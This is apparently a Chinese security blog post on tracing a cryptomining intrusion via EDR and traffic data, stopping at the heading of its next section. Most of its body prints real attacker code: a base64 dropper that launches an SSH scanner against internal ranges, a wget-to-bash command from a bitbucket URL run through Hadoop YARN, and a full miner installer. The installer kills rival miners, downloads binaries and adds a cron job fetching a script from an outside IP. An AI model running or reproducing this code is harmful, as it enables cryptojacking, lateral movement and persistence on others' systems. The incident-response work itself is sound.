0x00、前言
早期我们判定挖矿主机是通过全流量分析引擎,对外联数据做威胁情报匹配,如果发现外联IP或者域名存在挖矿特征则告警。但是伴随着安全应急响应的深入,我们发现此类误报率偏高,那么,我们如何更有效的石锤恶意挖矿行为并且形成自动化攻击溯源的威胁模型呢?本期和大家讨论这个问题。
0x01、如何入手调查
这是一个最基本的问题,假设你是一个外行人,如何判断一台机器种了挖矿病毒?大部分人的回答应该是CPU负载过高,OK就从这入手调查。
前提条件,在你的企业中,网络侧,需要拥有一套全流量分析系统,至少包含:威胁情报匹配、传统规则匹配的NIDS、机器学习DGA域名判定。主机侧需要拥有EDR Agent,尽可能的收集主机上网络、进程信息、CPU内存磁盘IO等信息,同时具备传统主机安全威胁发现的能力(例如:暴力破解、rootkit检测、命令行审计等)。
第一步:可疑进程判定
我们在Elastic search中查询,确定哪些服务器的CPU数据为高负载进程。通常的做法是,CPU负载可疑通过Top命令获取,Load Avg: 1.86(1分钟), 1.70(5分钟), 2.44(15分钟),我们观察第三个指标当数值超过2以上,再统计CPU使用率,同时满足:CPU使用率超过80%,并且持续时间超过15分钟。
我们需要的数据是:
用户名称、主机标识、进程名、进程路径、进程MD5。
通过查询kibanna,我们获取相关的列表:(本次只显示一条,生产环境会存在多条),
用户名称:user0001
主机标识:xxx-xxx
进程名:cron
进程路径:/home/apps/.nullcache/a/cron
md5:262f8b44bbc58b1cc237a289a6e968f7
异常情况说明:不是每个可疑的进程都存在md5,很多进程都是在新增或者删除的过程中,获取不到进程文件相关的数据。
第二步:确定感染范围,通过进程md5查询全网是否存在多台可疑的主机,并且查看其衍生进程路径。
第三步:确定感染时间,选中其中的一台主机,查询其进程关联的socket外连情况,同时查询kibana中最早的socket连接时间,本案例确定的最早连接时间为:2019年8月21日16点20左右。
第四步:入侵溯源,在2019年8月21日16点20左右查询所有搜集的数据,我们发现当时进程信息上报了一条bash执行记录。打开cmdlime发现:
bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash
发现黑客通过base64编码逃避规则引擎的检测。解密后发现:
!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
mkdir .X17-unix
cd .X17-unix
mv /var/tmp/dota.tar.gz dota.tar.gz
tar xf dota.tar.gz
sleep 3s && cd /tmp/.X17-unix/.rsync/c
nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1&
exit 0
同时发现hadoop机器上一个匿名用户dr.who起了一个yarn Application,执行了
/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash
"xxx": {
"realpath": "/hadoop/yarn/nm/usercache/dr.who/appcache/application_1566136664058_20304/container_1566136664058_20304_02_000001/-c",
"gid": 980,
"md5": "0719e857695fd4c17ad5bb4547909e5a",
"name": "bash",
"pid": 11466,
"cmdline": "/bin/bash -c wget -q -O - https://bitbucket.org/qwindra431/mygit/raw/master/zz.sh | bash",
"groupname": "yarn",
"username": "yarn",
"path": "/usr/bin/bash",
},
确定了入侵源。
#!/bin/bash
pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f wl.conf
pkill -f crond64
pkill -f watchbog
pkill -f sustse
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>11{print $2}' | xargs kill -9
pkill -f donate
pkill -f proxkekman
pkill -f 158.69.133.18
pkill -f 192.99.142.246
pkill -f test.conf
pkill -f /var/tmp/apple
pkill -f /var/tmp/big
pkill -f /var/tmp/small
pkill -f /var/tmp/cat
pkill -f /var/tmp/dog
pkill -f /var/tmp/mysql
pkill -f /var/tmp/sishen
pkill -f ubyx
pkill -f /var/tmp/mysql
rm -rf /var/tmp/mysql
ps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9
ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9
ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f cpu.c
pkill -f tes.conf
pkill -f psping
ps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9
ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9
pkill -f /var/tmp/java-c
pkill -f pscf
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
DIR="/tmp"
if [ -a "/tmp/java" ]
then
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/java ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
;;
*)
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
download
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
;;
*)
echo "Java wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
$WGET $DIR/java https://bitbucket.org/qwindra431/mygit/raw/master/x_64
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
bd6c69bf0e5a96bedcfbb0d946d52deb | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
;;
*)
echo "Java wrong"
;;
esac
else
echo "No md5sum"
fi
}
sed -i '$d' /etc/ld.so.preload
netstat -antp | grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '37.59.44.93\|37.59.54.205\|192.99.142.232\|158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
else
echo "Running"
fi
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/java
$WGET $DIR/w.conf https://bitbucket.org/qwindra431/mygit/raw/master/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
else
echo "Running"
fi
if crontab -l | grep -q "193.57.40.46"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://193.57.40.46/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/202.144.193.167/d' | crontab -
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/45.77.86.208/d' | crontab -
crontab -l | sed '/144.202.8.151/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -
0x02、入侵模型抽象
本文为嘶吼特约作者 bt0sea 原创文章。
|
|